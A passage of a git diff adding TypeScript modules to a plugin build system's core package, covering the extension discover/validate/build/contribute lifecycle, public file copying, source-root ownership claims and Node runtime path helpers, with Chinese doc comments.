使用稳定非空身份。 + * + * @param value 未受信任的身份值。 + * @param label 诊断字段标签。 + * @returns 合法原始文本。 + */ +function stableSubject(value: unknown, label: string): string { + if (typeof value !== 'string' || !/^[a-z0-9]+(?:[-.:/][a-z0-9]+)*$/u.test(value)) + throw new TypeError(`${label} must be a stable lowercase identifier.`); + return value; +} + +/** + * 复制、去歧义并排序 Extension subjects。 + * + * @param value validate 返回的未知 subjects。 + * @returns tuple 唯一的不可变 subjects。 + */ +function subjects(value: unknown): readonly ExtensionSubject[] { + if (!Array.isArray(value)) + throw new TypeError('Extension validation subjects must be an array.'); + /** subject ID 到完整声明的唯一映射。 */ + const entries = new Map(); + for (const [index, item] of [...value].entries()) { + if (typeof item !== 'object' || item === null || Array.isArray(item) + || Object.getPrototypeOf(item) !== Object.prototype + || Object.getOwnPropertySymbols(item).length > 0) { + throw new TypeError(`Extension validation subjects[${index}] must be a plain object.`); + } + /** Subject 字段只通过 descriptor 读取以避免 getter。 */ + const descriptors = Object.getOwnPropertyDescriptors(item); + if (Object.keys(descriptors).some(field => field !== 'subject' && field !== 'capabilities') + || Object.values(descriptors).some(descriptor => !('value' in descriptor))) { + throw new TypeError(`Extension validation subjects[${index}] has invalid fields.`); + } + /** subject 是所有 capability tuple 的稳定资源身份。 */ + const id = stableSubject(descriptors.subject?.value, 'Extension subject'); + if (!Array.isArray(descriptors.capabilities?.value)) + throw new TypeError(`Extension subject "${id}" capabilities must be an array.`); + /** capability 排序使声明顺序不影响后续兼容性覆盖。 */ + const capabilities = [...descriptors.capabilities.value].map(capability => stableSubject(capability, 'Extension capability')).sort(compareCodePoints); + if (capabilities.length === 0 || new Set(capabilities).size !== capabilities.length) + throw new TypeError(`Extension subject "${id}" capabilities must be non-empty and unique.`); + if (entries.has(id)) + throw new TypeError(`Extension subject "${id}" is duplicated.`); + entries.set(id, Object.freeze({ subject: id, capabilities: Object.freeze(capabilities) })); + } + return Object.freeze([...entries.values()].sort((left, right) => compareCodePoints(left.subject, right.subject))); +} + +/** + * 调用 Extension discover 并建立 State 数据边界。 + * + * @param options 当前 Extension Session 和 owner-scoped 服务。 + * @returns undefined 表示该 Extension 本轮无选中资源。 + */ +export async function discoverExtension(options: { + readonly extension: AcpluginExtension; + readonly session: ExtensionSession; + readonly roots: Readonly>; + readonly command: import('../kernel-types.js').ConfigCommand; + readonly mode: import('../kernel-types.js').BuildMode; + readonly sources: SourceRegistry; + readonly assets: AssetRegistry; + readonly modules: ModuleService; + readonly diagnostics: DiagnosticRegistry; +}): Promise | undefined> { + /** owner 同时绑定 Source/Asset/Diagnostic capability。 */ + const owner = `extension:${options.extension.id}`; + /** Context 外壳和 roots map 均不可被 Extension 改写。 */ + const context = Object.freeze({ + command: options.command, + mode: options.mode, + roots: Object.freeze({ ...options.roots }), + sources: options.sources.service(owner), + modules: options.modules, + diagnostics: options.diagnostics.service('discover', { owner, extension: options.extension.id }), + }); + /** Extension 原始返回值必须立即越过 State snapshot 边界。 */ + const discovered = await options.session.discover(context); + if (discovered === undefined) + return undefined; + return Object.freeze({ + extension: options.extension, + state: snapshotExtensionState(discovered, { + owner, + phase: 'discovered', + sources: options.sources, + assets: options.assets, + }), + }); +} + +/** + * 调用 Extension validate 并建立 validated State/subject 边界。 + * + * @param options 当前 discovered State、Project 和 Session。 + * @returns 不可变 validated State。 + */ +export async function validateExtension(options: { + readonly discovered: DiscoveredExtensionState; + readonly session: ExtensionSession; + readonly project: CanonicalProject; + readonly command: import('../kernel-types.js').ConfigCommand; + readonly mode: import('../kernel-types.js').BuildMode; + readonly sources: SourceRegistry; + readonly assets: AssetRegistry; + readonly diagnostics: DiagnosticRegistry; +}): Promise> { + /** 当前 Extension 稳定 ID 用于上下文和错误归属。 */ + const id = options.discovered.extension.id; + /** validated State 沿用同一 Extension owner。 */ + const owner = `extension:${id}`; + /** validate 只读取 immutable Project 与 discovered State。 */ + const output = await options.session.validate(Object.freeze({ + command: options.command, + mode: options.mode, + project: options.project, + diagnostics: options.diagnostics.service('validate', { owner, extension: id }), + }), options.discovered.state); + if (typeof output !== 'object' || output === null || Array.isArray(output) + || Object.getPrototypeOf(output) !== Object.prototype + || Object.getOwnPropertySymbols(output).length > 0) { + throw new TypeError(`Extension "${id}" validate output must be a plain object.`); + } + /** validate 输出字段通过 descriptor 校验且只允许 state/subjects。 */ + const fields = Object.getOwnPropertyDescriptors(output); + if (Object.keys(fields).sort().join(',') !== 'state,subjects' + || Object.values(fields).some(descriptor => !('value' in descriptor))) { + throw new TypeError(`Extension "${id}" validate output must contain state and subjects data fields.`); + } + return Object.freeze({ + extension: options.discovered.extension, + state: snapshotExtensionState(fields.state!.value as V, { + owner, + phase: 'validated', + sources: options.sources, + assets: options.assets, + }), + subjects: subjects(fields.subjects!.value), + }); +} + +/** + * 验证 Contributor definitions 并为全部选中 Platform 固定 consumer 计划。 + * + * @param options 当前 Extension、Session、validated State 和选中平台。 + * @returns 与 Platform 配置顺序无关的 frozen consumer plan。 + */ +export function preflightExtensionConsumers(options: { + readonly validated: ValidatedExtensionState; + readonly session: ExtensionSession; + readonly platforms: readonly PlatformIntegrationDescription[]; +}): ExtensionConsumerPlan { + /** Contributor array 自身也必须是无 accessor 的稠密 data array。 */ + const candidates = dataArrayItems(options.session.contributors, `Extension "${options.validated.extension.id}" contributors`); + /** Platform ID 索引拒绝一个 Extension 对同目标定义两个 Contributor。 */ + const contributors = new Map>(); + for (const [index, candidate] of candidates.entries()) { + /** Contributor 是唯一允许包含 contribute 行为的精确对象。 */ + const fields = dataObjectFields( + candidate, + new Set(['platform', 'platformApiVersion', 'contribute']), + `Extension "${options.validated.extension.id}" contributor[${index}]`, + ); + /** Contributor identity 是精确 Platform ID;API 不匹配是无效定义而非静默 unsupported。 */ + const platform = stableSubject(fields.platform?.value, 'Contributor Platform'); + if (fields.platformApiVersion?.value !== '1') + throw new TypeError(`Contributor "${platform}" must use Platform API version 1.`); + if (typeof fields.contribute?.value !== 'function') + throw new TypeError(`Contributor "${platform}" must provide a contribute function.`); + if (contributors.has(platform)) + throw new TypeError(`Extension "${options.validated.extension.id}" has duplicate Contributors for Platform "${platform}".`); + contributors.set(platform, Object.freeze({ + platform, + platformApiVersion: '1', + contribute: fields.contribute.value as PlatformContributor['contribute'], + })); + } + /** 选中平台排序使 consumer preflight 与作者配置顺序无关。 */ + const selected = [...options.platforms].sort((left, right) => compareCodePoints(left.id, right.id)); + if (new Set(selected.map(platform => platform.id)).size !== selected.length) + throw new TypeError('Selected Platform descriptions must be unique.'); + /** 每个 selected Platform 都得到匹配或缺失的显式 consumer slot。 */ + const consumers = selected.map(platform => Object.freeze({ + platform, + ...(contributors.get(platform.id) === undefined ? {} : { contributor: contributors.get(platform.id)! }), + })); + return Object.freeze({ + extension: options.validated.extension, + validated: options.validated.state, + subjects: options.validated.subjects, + consumers: Object.freeze(consumers), + requiresBuild: consumers.some(consumer => consumer.contributor !== undefined), + }); +} + +/** + * 只在至少一个选中 Platform 拥有 Contributor 时构建 Extension。 + * + * @param options consumer plan 与当前 Extension 的 owner-scoped Host 服务。 + * @returns frozen Built State;undefined 表示 preflight 已安全跳过 build。 + */ +export async function buildExtension(options: { + readonly plan: ExtensionConsumerPlan; + readonly session: ExtensionSession; + readonly project: CanonicalProject; + readonly command: import('../kernel-types.js').ConfigCommand; + readonly mode: import('../kernel-types.js').BuildMode; + readonly compiler: CompilerService; + readonly execution: ExecutionService; + readonly assets: AssetRegistry; + readonly sources: SourceRegistry; + readonly diagnostics: DiagnosticRegistry; +}): Promise | undefined> { + if (!options.plan.requiresBuild) + return undefined; + /** Extension ID 决定 owner-scoped Host capability。 */ + const id = options.plan.extension.id; + /** 同一 owner 贯穿 build State 与 Contribution。 */ + const owner = `extension:${id}`; + /** build Context 只提供当前 owner 的受管 Host 能力。 */ + const output = await options.session.build(Object.freeze({ + command: options.command, + mode: options.mode, + project: options.project, + compiler: options.compiler, + assets: options.assets.service(owner), + execution: options.execution, + diagnostics: options.diagnostics.service('compile', { owner, extension: id }), + }), options.plan.validated); + /** build 输出只包含 Built State,不允许在此修改 subjects。 */ + const fields = dataObjectFields(output, new Set(['state']), `Extension "${id}" build output`); + if (!Object.hasOwn(fields, 'state')) + throw new TypeError(`Extension "${id}" build output must contain a state data field.`); + return Object.freeze({ + extension: options.plan.extension, + state: snapshotExtensionState(fields.state!.value as B, { + owner, + phase: 'built', + sources: options.sources, + assets: options.assets, + }), + subjects: options.plan.subjects, + }); +} + +/** + * 对同一 frozen base Package 并行收集 Extension Contributions。 + * + * @param options 当前 Platform、Project、consumer plans 和 Built States。 + * @returns completion order 无关的 owner-bound Contributions。 + */ +export async function collectExtensionContributions(options: { + readonly platform: PlatformIntegrationDescription; + readonly base: PlatformBasePackageSnapshot; + readonly project: CanonicalProject; + readonly command: import('../kernel-types.js').ConfigCommand; + readonly mode: import('../kernel-types.js').BuildMode; + readonly plans: readonly ExtensionConsumerPlan[]; + readonly built: readonly BuiltExtensionState[]; + readonly assets: AssetRegistry; + readonly diagnostics: DiagnosticRegistry; +}): Promise { + /** Built State 只按 Extension ID 配对,不暴露给其他 Extension。 */ + const builtByExtension = new Map(options.built.map(state => [state.extension.id, state])); + /** 所有 Contributor promises 在读取同一 base 后并行启动。 */ + const tasks = options.plans.map(async (plan) => { + /** Context capability 与当前 Extension owner 绑定。 */ + const owner = `extension:${plan.extension.id}`; + /** 当前 Platform 只读取 plan 中自己的 consumer slot。 */ + const consumer = plan.consumers.find(item => item.platform.id === options.platform.id); + if (consumer === undefined) + throw new TypeError(`Extension consumer plan does not include selected Platform "${options.platform.id}".`); + if (consumer.contributor === undefined) { + /** 缺少 Contributor 是每个已验证 subject/capability 的显式 unsupported。 */ + const compatibility = plan.subjects.flatMap(subject => subject.capabilities.map(capability => Object.freeze({ + subject: subject.subject, + capability, + level: 'unsupported' as const, + reason: `Extension "${plan.extension.id}" has no compatible contributor for Platform "${options.platform.id}".`, + }))); + return Object.freeze({ + owner, + subjects: plan.subjects, + contribution: Object.freeze({ compatibility: Object.freeze(compatibility) }), + }); + } + /** 匹配 Contributor 时必须已有一次共享 Built State。 */ + const built = builtByExtension.get(plan.extension.id); + if (built === undefined) + throw new TypeError(`Extension "${plan.extension.id}" requires Built State for Platform "${options.platform.id}".`); + /** 所有 Contributor 获得同一个 base object identity,且无其他 Contribution 可见。 */ + const contribution = await consumer.contributor.contribute(Object.freeze({ + command: options.command, + mode: options.mode, + platform: options.platform, + project: options.project, + base: options.base, + assets: options.assets.service(owner), + diagnostics: options.diagnostics.service('contribute', { + owner, extension: plan.extension.id, platform: options.platform.id, + }), + }), built.state); + return Object.freeze({ owner, subjects: plan.subjects, contribution: contribution as PackageContribution }); + }); + /** Promise.all 保留输入槽位,但 merge 只接受 owner-sorted 无序集合。 */ + return Object.freeze(await Promise.all(tasks)); +} diff --git a/packages/core/src/resources/project-graph.ts b/packages/core/src/resources/project-graph.ts new file mode 100644 index 0000000..32cd8f4 --- /dev/null +++ b/packages/core/src/resources/project-graph.ts @@ -0,0 +1,24 @@ +import type { CanonicalProject, NodeRuntimeResource, PublicResourceFile } from '../kernel-types.js'; + +/** + * 将三个 Framework Provider 的独立结果组装为唯一 Project Graph。 + * + * @param canonical 已验证 canonical Component graph。 + * @param publicFiles Public SourceAsset mappings。 + * @param runtime 可选内建 Runtime resource。 + * @returns 不含工程根或物理路径的不可变 Project。 + */ +export function assembleProjectGraph( + canonical: CanonicalProject, + publicFiles: readonly PublicResourceFile[], + runtime?: NodeRuntimeResource, +): CanonicalProject { + return Object.freeze({ + metadata: canonical.metadata, + commands: canonical.commands, + skills: canonical.skills, + agents: canonical.agents, + publicFiles, + ...(runtime === undefined ? {} : { runtime }), + }); +} diff --git a/packages/core/src/resources/public-provider.ts b/packages/core/src/resources/public-provider.ts new file mode 100644 index 0000000..30c3689 --- /dev/null +++ b/packages/core/src/resources/public-provider.ts @@ -0,0 +1,184 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { PublicResourceFile, SourceAssetRef, SourceFileRef } from '../kernel-types.js'; +import { AssetRegistry } from '../kernel/asset-registry.js'; +import type { ResolvedKernelConfig, ResolvedPublicCopyRule } from '../kernel/config-resolver.js'; +import { DiagnosticRegistry } from '../kernel/diagnostic-registry.js'; +import { compareCodePoints, safeRelativePath, sourceCollisionKey } from '../kernel/path-policy.js'; +import { SourceRegistry } from '../kernel/source-registry.js'; +import { WatchRegistry, type WatchObservation } from '../kernel/watch-registry.js'; + +/** Public 收集阶段带完整来源 identity 的内部记录。 */ +interface PublicSource { + readonly path: string; + readonly source: SourceFileRef; + readonly asset: SourceAssetRef; +} + +/** + * 返回路径是否不存在。 + * + * @param file 候选物理路径。 + * @returns ENOENT 为 true。 + */ +async function missing(file: string): Promise { + return fs.lstat(file).then(() => false, error => (error as NodeJS.ErrnoException).code === 'ENOENT'); +} + +/** + * 签发 Public source root 并递归产生映射文件。 + * + * @param rule 当前精确 copy rule;undefined 表示全树复制。 + * @param config Kernel 私有配置。 + * @param sources Source Registry。 + * @param assets Asset Registry。 + * @param diagnostics 当前诊断集合。 + * @returns 当前来源映射产生的文件。 + */ +async function collect( + rule: ResolvedPublicCopyRule | undefined, + config: ResolvedKernelConfig, + sources: SourceRegistry, + assets: AssetRegistry, + diagnostics: DiagnosticRegistry, +): Promise { + /** Public 资源的固定 issuer 不能由配置覆盖。 */ + const owner = 'framework:public'; + /** 精确规则优先,否则使用完整 Public directory。 */ + const source = rule?.source ?? config.public.directory; + /** 缺省 public root 不存在时静默;显式 copy 缺失必须失败。 */ + if (await missing(source)) { + if (rule !== undefined) { + diagnostics.report('discover', { + code: 'PUBLIC_SOURCE_MISSING', severity: 'error', message: 'Public copy source does not exist.', + location: { path: path.relative(config.projectRoot, source).split(path.sep).join('/') }, + }, { owner }); + } + return Object.freeze([]); + } + /** lstat 在读取前拒绝根节点自身的符号链接。 */ + const stat = await fs.lstat(source); + if (stat.isSymbolicLink() || (!stat.isFile() && !stat.isDirectory())) { + diagnostics.report('discover', { + code: 'PUBLIC_SOURCE_INVALID', severity: 'error', message: 'Public source must be a regular file or directory without symbolic links.', + location: { path: path.relative(config.projectRoot, source).split(path.sep).join('/') }, + }, { owner }); + return Object.freeze([]); + } + /** Source Registry root 只能是目录;单文件 rule 使用其父目录作为最小授权 root。 */ + const physicalRoot = stat.isDirectory() ? source : path.dirname(source); + /** Source Registry 只签发目录能力。 */ + let root: import('../kernel-types.js').SourceDirectoryRef; + try { + root = await sources.issueRoot(owner, physicalRoot); + /** 目录 mapping 校验完整子树;单文件 mapping 不读取其未授权 siblings。 */ + if (stat.isDirectory()) + await sources.validateTree(owner, root); + } catch { + diagnostics.report('discover', { + code: 'PUBLIC_SOURCE_INVALID', severity: 'error', message: 'Public source tree contains an unsafe entry.', + location: { path: path.relative(config.projectRoot, source).split(path.sep).join('/') }, + }, { owner }); + return Object.freeze([]); + } + /** 后续来源访问全部绑定 framework:public owner。 */ + const sourceService = sources.service(owner); + /** Asset 转换保留原始 Public provenance 和 mode。 */ + const assetService = assets.service(owner); + /** 单文件映射直接签发;目录映射递归展开。 */ + const entries: { readonly file: SourceFileRef; readonly relative: string }[] = []; + if (stat.isFile()) { + entries.push(Object.freeze({ file: await sourceService.file(root, path.basename(source)), relative: '' })); + } else { + for (const entry of await sourceService.list(root, { recursive: true })) { + if (entry.type === 'file') { + entries.push(Object.freeze({ + file: entry.file, + relative: entry.path.slice(`${root.path}/`.length), + })); + } + } + } + /** target 指向文件时保持精确路径,指向目录时追加完整相对后代。 */ + const target = rule?.to ?? ''; + /** 当前 rule 的合法输出集合。 */ + const result: PublicSource[] = []; + for (const entry of entries) { + /** 目录来源追加后代路径,单文件来源精确使用 to。 */ + const mapped = entry.relative.length === 0 + ? target + : target.length === 0 ? entry.relative : `${target}/${entry.relative}`; + try { + result.push(Object.freeze({ + path: safeRelativePath(mapped), + source: entry.file, + asset: await assetService.fromSource(entry.file), + })); + } catch { + diagnostics.report('discover', { + code: 'PUBLIC_TARGET_INVALID', severity: 'error', message: 'Public target must be a non-empty package-relative POSIX path.', + location: { path: entry.file.path }, + }, { owner }); + } + } + return Object.freeze(result); +} + +/** + * 发现 Public exact mapping 并签发 SourceAssetRef。 + * + * @param options 当前 BuildSession registries 与配置。 + * @returns 按 package-relative path 排序的 Public 资源。 + */ +export async function discoverPublicResources(options: { + readonly config: ResolvedKernelConfig; + readonly sources: SourceRegistry; + readonly assets: AssetRegistry; + readonly watch: WatchRegistry; + readonly diagnostics: DiagnosticRegistry; +}): Promise { + if (!options.config.public.enabled) + return Object.freeze([]); + /** 无 copy rules 时用 undefined sentinel 表示完整树映射。 */ + const rules = options.config.public.copy ?? [undefined]; + /** Public 来源 watch 使用每条精确 source 的最近现有目录。 */ + const observations: WatchObservation[] = []; + for (const rule of rules) { + /** 每条精确 source 独立寻找可观察祖先。 */ + const source = rule?.source ?? options.config.public.directory; + /** 尚不存在的文件逐级回退到现有目录。 */ + let candidate = source; + while (candidate !== options.config.projectRoot) { + /** Watch root 本身也不能是作者 symlink。 */ + const stat = await fs.lstat(candidate).catch(() => undefined); + if (stat?.isDirectory() === true && !stat.isSymbolicLink()) { + observations.push(Object.freeze({ path: candidate, type: 'directory' as const })); + break; + } + candidate = path.dirname(candidate); + } + } + if (observations.length > 0) + await options.watch.replace('framework:public', 'resource/public', observations); + /** 独立 copy rule 可并行展开;碰撞在集中阶段确定性处理。 */ + const discovered = (await Promise.all(rules.map(rule => collect(rule, options.config, options.sources, options.assets, options.diagnostics)))).flat(); + /** 折叠目标到首次来源的索引用于稳定报告冲突。 */ + const targets = new Map(); + /** 最终暴露给 Project Graph 的精简资源列表。 */ + const result: PublicResourceFile[] = []; + for (const file of discovered.sort((left, right) => compareCodePoints(left.path, right.path) || compareCodePoints(left.source.path, right.source.path))) { + /** 目标 collision key 同时折叠大小写和 Unicode NFC。 */ + const key = sourceCollisionKey(file.path); + /** existing 用于 related location 和 add-only 冲突判定。 */ + const existing = targets.get(key); + if (existing !== undefined) { + options.diagnostics.report('validate', { + code: 'PUBLIC_TARGET_COLLISION', severity: 'error', message: `Public target "${file.path}" has multiple sources.`, location: { path: file.source.path }, + }, { owner: 'framework:public', related: [{ path: existing.source.path }] }); + continue; + } + targets.set(key, file); + result.push(Object.freeze({ path: file.path, asset: file.asset })); + } + return Object.freeze(result); +} diff --git a/packages/core/src/resources/resource-registry.ts b/packages/core/src/resources/resource-registry.ts new file mode 100644 index 0000000..7f548a4 --- /dev/null +++ b/packages/core/src/resources/resource-registry.ts @@ -0,0 +1,227 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { AcpluginExtension, SourceDirectoryRef } from '../kernel-types.js'; +import { DiagnosticRegistry } from '../kernel/diagnostic-registry.js'; +import { compareCodePoints } from '../kernel/path-policy.js'; +import { SourceRegistry } from '../kernel/source-registry.js'; +import { WatchRegistry } from '../kernel/watch-registry.js'; +import type { ResolvedKernelConfig } from '../kernel/config-resolver.js'; + +/** Framework 内建来源根名称。 */ +export type CanonicalResourceRoot = 'commands' | 'skills' | 'agents'; + +/** Resource Registry 完成 root 所有权分配后的不可变集合。 */ +export interface ResourceClaims { + readonly canonical: Readonly>>; + readonly runtime?: SourceDirectoryRef; + readonly extensions: Readonly>>>; +} + +/** root claim 的内部 owner 记录。 */ +interface RootClaim { + readonly owner: string; + readonly kind: 'canonical' | 'runtime' | 'extension'; + readonly extension?: AcpluginExtension; +} + +/** + * 为所有已配置 Extension 建立稳定、不可变的 root snapshot。 + * + * @param extensions 已配置 Extension definitions。 + * @param discovered 已发现的可选 root records。 + * @returns 按 Extension ID 排序且不暴露可变 Map 的 plain-data record。 + */ +function extensionClaims( + extensions: readonly AcpluginExtension[], + discovered: ReadonlyMap>> = new Map(), +): Readonly>>> { + return Object.freeze(Object.fromEntries( + [...extensions] + .sort((left, right) => compareCodePoints(left.id, right.id)) + .map(extension => [extension.id, Object.freeze({ ...(discovered.get(extension.id) ?? {}) })]), + )); +} + +/** + * 判断目录是否存在任何直接或后代内容。 + * + * @param directory 未被 claim 的候选目录。 + * @returns 空目录为 false,首个后代存在即为 true。 + */ +async function hasContent(directory: string): Promise { + /** 一级存在任意目录项即可证明 root 并非无意留下的空目录。 */ + const entries = await fs.readdir(directory, { withFileTypes: true }); + if (entries.length === 0) + return false; + return true; +} + +/** + * 返回待观察路径的最近现有普通目录。 + * + * @param projectRoot 工程根。 + * @param desired 可能尚不存在的来源目录。 + * @returns Dev watcher 可以实际注册的工程内目录。 + */ +async function nearestExistingDirectory(projectRoot: string, desired: string): Promise { + /** 从目标向工程根回溯,确保空/缺失 root 仍可触发 rebuild。 */ + let candidate = desired; + while (candidate !== projectRoot) { + /** lstat 避免把 symlink 祖先登记为可信 Watch root。 */ + const stat = await fs.lstat(candidate).catch(() => undefined); + if (stat?.isDirectory() === true && !stat.isSymbolicLink()) + return candidate; + candidate = path.dirname(candidate); + } + return projectRoot; +} + +/** BuildSession 中唯一的 source-root ownership registry。 */ +export class ResourceRegistry { + /** Kernel 私有最终配置。 */ + readonly #config: ResolvedKernelConfig; + /** 当前 Session SourceRef issuer。 */ + readonly #sources: SourceRegistry; + /** 当前 Session Watch Registry。 */ + readonly #watch: WatchRegistry; + /** 当前 Session 稳定诊断集合。 */ + readonly #diagnostics: DiagnosticRegistry; + + /** + * 创建 Resource Registry。 + * + * @param options 当前 BuildSession 依赖。 + */ + constructor(options: { + readonly config: ResolvedKernelConfig; + readonly sources: SourceRegistry; + readonly watch: WatchRegistry; + readonly diagnostics: DiagnosticRegistry; + }) { + this.#config = options.config; + this.#sources = options.sources; + this.#watch = options.watch; + this.#diagnostics = options.diagnostics; + } + + /** + * 建立内建与 Extension root claims 并拒绝未知内容。 + * + * @returns 只包含当前实际存在目录的不可变 SourceRef 集合。 + */ + async claim(): Promise { + /** 所有声明在接触文件系统前先完成冲突检查。 */ + const claims = new Map(); + for (const root of ['commands', 'skills', 'agents'] as const) + claims.set(root, Object.freeze({ owner: 'framework:canonical', kind: 'canonical' as const })); + if (this.#config.runtime.enabled) + claims.set('runtime', Object.freeze({ owner: 'framework:node-runtime', kind: 'runtime' as const })); + for (const extension of [...this.#config.extensions].sort((left, right) => compareCodePoints(left.id, right.id))) { + for (const root of extension.resourceRoots) { + /** 第一个 claim 固定 owner,后续同名声明只产生诊断。 */ + const existing = claims.get(root); + if (existing !== undefined) { + this.#diagnostics.report('setup', { + code: 'RESOURCE_ROOT_CONFLICT', + severity: 'error', + message: `Source root "${root}" is claimed by both ${existing.owner} and extension:${extension.id}.`, + location: { path: `${path.relative(this.#config.projectRoot, this.#config.srcDirectory).split(path.sep).join('/')}/${root}` }, + }); + continue; + } + claims.set(root, Object.freeze({ owner: `extension:${extension.id}`, kind: 'extension' as const, extension })); + } + } + + /** srcDir 不存在时观察最近祖先并返回空资源图。 */ + const srcStat = await fs.lstat(this.#config.srcDirectory).catch(() => undefined); + /** Watch Registry 接收实际存在的最近目录而非虚构路径。 */ + const watchedSource = await nearestExistingDirectory(this.#config.projectRoot, this.#config.srcDirectory); + await this.#watch.replace('framework:resource', 'resource/src', [{ path: watchedSource, type: 'directory' }]); + if (srcStat === undefined) + return Object.freeze({ canonical: Object.freeze({}), extensions: extensionClaims(this.#config.extensions) }); + if (!srcStat.isDirectory() || srcStat.isSymbolicLink()) { + this.#diagnostics.report('discover', { + code: 'SOURCE_ROOT_INVALID', severity: 'error', message: 'srcDir must be a regular directory without symbolic links.', + location: { path: path.relative(this.#config.projectRoot, this.#config.srcDirectory).split(path.sep).join('/') }, + }); + return Object.freeze({ canonical: Object.freeze({}), extensions: extensionClaims(this.#config.extensions) }); + } + /** framework owner 用于安全枚举 srcDir 一级目录。 */ + let sourceRoot: SourceDirectoryRef; + try { + sourceRoot = await this.#sources.issueRoot('framework:resource', this.#config.srcDirectory); + } catch { + this.#diagnostics.report('discover', { + code: 'SOURCE_ROOT_INVALID', severity: 'error', message: 'srcDir failed the author source boundary.', + location: { path: path.relative(this.#config.projectRoot, this.#config.srcDirectory).split(path.sep).join('/') }, + }); + return Object.freeze({ canonical: Object.freeze({}), extensions: extensionClaims(this.#config.extensions) }); + } + /** 一级枚举通用拒绝 symlink/special/collision。 */ + let entries: Awaited['list']>>; + try { + entries = await this.#sources.service('framework:resource').list(sourceRoot); + } catch { + this.#diagnostics.report('discover', { + code: 'SOURCE_ROOT_CONTENT_INVALID', severity: 'error', message: 'srcDir contains an unsafe or ambiguous source entry.', + location: { path: sourceRoot.path }, + }); + return Object.freeze({ canonical: Object.freeze({}), extensions: extensionClaims(this.#config.extensions) }); + } + /** 各 owner 最终实际存在的 root refs。 */ + const canonical: Partial> = {}; + /** Extension ID 到其现有 root refs。 */ + const extensionRoots = new Map>(); + /** 当前可选 Runtime root。 */ + let runtime: SourceDirectoryRef | undefined; + for (const entry of entries) { + /** 一级名称直接映射到此前完成冲突校验的 claim。 */ + const claim = claims.get(entry.name); + if (entry.type === 'file') { + this.#diagnostics.report('discover', { + code: 'RESOURCE_ROOT_UNKNOWN', severity: 'error', message: `srcDir direct file "${entry.name}" has no Resource owner.`, location: { path: entry.path }, + }); + continue; + } + if (claim === undefined) { + if (await hasContent(path.join(this.#config.srcDirectory, entry.name))) { + this.#diagnostics.report('discover', { + code: 'RESOURCE_ROOT_UNKNOWN', severity: 'error', message: `Non-empty source root "${entry.name}" has no configured Resource owner.`, location: { path: entry.path }, + }); + } + continue; + } + /** 每个 Resource owner 收到以自身身份签发的独占 root ref。 */ + try { + /** 物理 root 永远由最终 srcDirectory 和直接子目录组成。 */ + const physical = path.join(this.#config.srcDirectory, entry.name); + /** Source Registry 使用 owner+Session 身份签发 root。 */ + const root = await this.#sources.issueRoot(claim.owner, physical); + await this.#sources.validateTree(claim.owner, root); + if (claim.kind === 'canonical') + canonical[entry.name as CanonicalResourceRoot] = root; + else if (claim.kind === 'runtime') + runtime = root; + else { + /** Extension ID 是最终 roots snapshot 的第一层稳定键。 */ + const id = claim.extension!.id; + /** 同一 Extension 可声明多个互不重叠的一级 root。 */ + const roots = extensionRoots.get(id) ?? {}; + roots[entry.name] = root; + extensionRoots.set(id, roots); + } + } catch { + this.#diagnostics.report('discover', { + code: 'RESOURCE_ROOT_CONTENT_INVALID', severity: 'error', message: `Source root "${entry.name}" contains an unsafe entry.`, location: { path: entry.path }, + }); + } + } + /** 即使某 Extension root 缺失,也用冻结空对象保留 Extension ID 的稳定索引。 */ + return Object.freeze({ + canonical: Object.freeze({ ...canonical }), + ...(runtime === undefined ? {} : { runtime }), + extensions: extensionClaims(this.#config.extensions, extensionRoots), + }); + } +} diff --git a/packages/core/src/resources/runtime-paths.ts b/packages/core/src/resources/runtime-paths.ts new file mode 100644 index 0000000..6ee4375 --- /dev/null +++ b/packages/core/src/resources/runtime-paths.ts @@ -0,0 +1,19 @@ +/** Runtime entry ID 与其他 Kernel 稳定资源 ID 使用相同 lowercase-kebab 规则。 */ +const RUNTIME_ID = /^[a-z0-9]+(?:-[a-z0-9]+)*$/u; + +/** 验证公开路径 helper 不会把任意文本变成 Package 路径。 */ +function runtimeId(id: string): string { + if (typeof id !== 'string' || !RUNTIME_ID.test(id)) + throw new TypeError('Runtime entry id must use lowercase kebab-case.'); + return id; +} + +/** 返回 Runtime entry 在所有支持 Platform 中的固定主 Bundle 路径。 */ +export function nodeRuntimeArtifactPath(id: string): `runtime/${string}/main.mjs` { + return `runtime/${runtimeId(id)}/main.mjs`; +} + +/** 返回 Runtime entry 存在第三方依赖时使用的固定许可证路径。 */ +export function nodeRuntimeLicensesArtifactPath(id: string): `runtime/${string}/THIRD_PARTY_LICENSES.txt` { + return `runtime/${runtimeId(id)}/THIRD_PARTY_LICENSES.txt`; +} diff --git a/packages/core/src/resources/runtime-provider.ts b/packages/core/src/resources/runtime-provider.ts new file mode 100644 index 0000000..778d0cf --- /dev/null +++ b/packages/core/src/resources/runtime-provider.ts @@ -0,0 +1,247 @@ +import type { + CompilerService, + GeneratedAssetRef, + NodeRuntimeResource, + PackageContribution, + PlatformIntegrationDescription, + SourceDirectoryRef, +} from '../kernel-types.js'; +import type { ResolvedRuntimeConfig } from '../kernel/config-resolver.js'; +import { DiagnosticRegistry } from '../kernel/diagnostic-registry.js'; +import { compareCodePoints, safeRelativePath, sourceCollisionKey } from '../kernel/path-policy.js'; +import { SourceRegistry } from '../kernel/source-registry.js'; +import { + nodeRuntimeArtifactPath, + nodeRuntimeLicensesArtifactPath, +} from './runtime-paths.js'; + +/** Runtime 允许成为 executable entry 的源码扩展名。 */ +const RUNTIME_EXTENSIONS = ['.tsx', '.mts', '.cts', '.jsx', '.mjs', '.cjs', '.ts', '.js'] as const; + +/** TypeScript declaration 永远不是 Runtime entry。 */ +const DECLARATION = /\.d\.(?:ts|mts|cts)$/u; + +/** Runtime ID 规范规则。 */ +const RUNTIME_ID = /^[a-z0-9]+(?:-[a-z0-9]+)*$/u; + +/** 单个已编译 Runtime entry 的 Core-owned AssetRefs。 */ +export interface BuiltNodeRuntimeEntry { + readonly id: string; + readonly kind: 'executable' | 'module'; + readonly main: GeneratedAssetRef; + readonly licenses?: GeneratedAssetRef; +} + +/** 一次 portable-node Job 产生的全部 Runtime Built State。 */ +export interface BuiltNodeRuntime { + readonly entries: readonly BuiltNodeRuntimeEntry[]; +} + +/** @returns Platform 是否声明精确 Plugin-local Node 20 ESM 能力。 */ +export function platformSupportsNodeRuntime(platform: PlatformIntegrationDescription): boolean { + /** capability 是 Platform setup 前已复制冻结的纯 JSON 数据。 */ + const capability = platform.capabilities?.nodeRuntime; + return capability?.target === 'node20' && capability.format === 'esm' && capability.root === 'plugin'; +} + +/** 